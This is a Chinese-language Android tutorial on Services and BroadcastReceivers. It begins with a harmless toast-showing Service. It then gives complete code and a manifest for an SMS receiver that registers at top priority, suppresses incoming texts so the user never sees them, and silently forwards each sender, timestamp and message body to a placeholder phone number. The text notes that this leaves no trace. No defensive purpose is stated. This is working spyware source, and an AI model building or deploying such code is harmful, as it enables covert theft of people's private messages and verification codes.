標籤:des android style class c code
3.1、Service服務
Service類似Activity,實際上就是一個沒有介面的Activity,而且預設不會隨著程式關閉而關閉。
開發人員自訂的服務類一般用來完成一些安全軟體的一些監聽功能,以及訊息提示,流氓軟體的功能。
系統服務則是通過類似getSystemService()的方法來取得系統的一些服務管理類(XxxxManager),來調用系統處理好的功能完成自己需要的操作,例如:電話監聽,串連狀態的判斷等。
如果想自己編寫一個服務類,可以建立一個類,繼承Service,並覆寫相應的方法即可。
編寫好服務類後,還需要在AndroidManifest.xml中聲明這個Service。
package com.example.service;
import android.app.Service;
import android.content.Intent;
import android.os.Handler;
import android.os.IBinder;
import android.os.Message;
import android.widget.Toast;
//每隔3秒顯示下toast
public class TestService extends Service {
private Handler handler;
private boolean flag=true;
@Override
public IBinder onBind(Intent arg0) {
//綁定activity,一般不用,用了的話,則activity關閉,service也關閉
return null;
}
/**主線程
*
*/
@Override
public void onCreate() {
// TODO Auto-generated method stub
super.onCreate();
System.out.println("建立service");
//調用子線程
handler=new Handler(){
public void handleMessage(Message msg) {
Toast.makeText(TestService.this,"啟動了服務------------",Toast.LENGTH_LONG).show();
}
};
}
@Override
public void onDestroy() {
// TODO Auto-generated method stub
super.onDestroy();
System.out.println("銷毀service-----------");
flag=false;//這是為了關閉死迴圈進程
}
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
//啟動服務時自動調用這個方法
Thread t=new Thread(){
public void run() {
while (flag) {
try {
Thread.sleep(3000);
} catch (InterruptedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
handler.sendEmptyMessage(0);
}
}
};
t.start();
return super.onStartCommand(intent, flags, startId);
}
}
還可以通過系統服務來讀取手機的各種資訊以及網路連接狀態的資訊。
3.2、BroadCastReciver廣播接收器
廣播接收器在使用時的表現上與Service很像,都是一個沒有介面的組件,都是在後台自動運行,都可以通過Activity來啟動。
但Service只能通過其他組件來啟動,但BCR則是可以自動依據某些條件來啟動。
廣播分為兩種:普通廣播和有序廣播
編寫廣播時,也需要繼承一個類,類名是BroadCastReceiver。
同樣也需要在AndroidManifest.xml中聲明這個廣播組件。
如果想做自動執行的廣播,就必須在聲明廣播組件時加入<intent-filter>設定進入此廣播的intent條件。
根據這種功能實現簡訊攔截操作,將使用者接收到的簡訊攔截,不傳送簡訊通知,不儲存到收件匣。
並將簡訊的相關資訊列印到控制台中。
同時,還可以調用傳送簡訊的功能,來將一段訊息發送到其他手機,而且也不經過簡訊應用,不會留下痕迹。
package com.example.receiver;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.List;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;
import android.widget.Toast;
//實現攔截簡訊並發送給別人
public class SmsReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context ctx, Intent in) {
//先判斷是否是因為接收簡訊進入廣播接收器
if (in.getAction().equals("android.provider.Telephony.SMS_RECEIVED")) {
//停止此廣播,讓後面的接收器無法收到資訊
this.abortBroadcast();
//取得發過來的參數
Bundle b=in.getExtras();
if (b!=null) {
Object[] ops=(Object[])b.get("pdus");
SimpleDateFormat sdf=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
//迴圈建立簡訊對象,並取得裡面的資訊
for (int i = 0; i < ops.length; i++) {
SmsMessage msg=SmsMessage.createFromPdu((byte[])ops[i]);
//取得訊息中的內容
String content=msg.getMessageBody();
//發送人資訊
String sender=msg.getDisplayOriginatingAddress();//如果通訊錄有名字則發名字,沒得話顯示號碼
//發送時間
Date date=new Date(msg.getTimestampMillis());
String sendTime=sdf.format(date);
System.out.println("訊息為:"+sender+"-->"+content+"-->"+sendTime);
SmsManager manager=SmsManager.getDefault();
List<String> all=manager.divideMessage(sender+"-->"+sendTime+"-->"+content);//如果簡訊太長要分多個簡訊
for (int j = 0; j <all.size(); j++) {
manager.sendTextMessage("手機號", null, all.get(j),null,null);
}
}
}
}
else {
Toast.makeText(ctx, "接收到了廣播", Toast.LENGTH_SHORT).show();
}
}
}
配置許可權和聲明
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.example.interceptforwarding"
android:versionCode="1"
android:versionName="1.0" >
<uses-sdk
android:minSdkVersion="8"
android:targetSdkVersion="17" />
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.SEND_SMS" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<application
android:allowBackup="true"
android:icon="@drawable/ic_launcher"
android:label="@string/app_name"
android:theme="@style/AppTheme" >
<activity
android:name="com.example.interceptforwarding.MainActivity"
android:label="@string/app_name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<service android:name="com.example.service.TestService"></service>
<receiver android:name="com.example.receiver.SmsReceiver">
<!-- 設定最高優先順序0到1000 同優先順序比包的字母 -->
<intent-filter android:priority="1000">
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>
</application>
</manifest>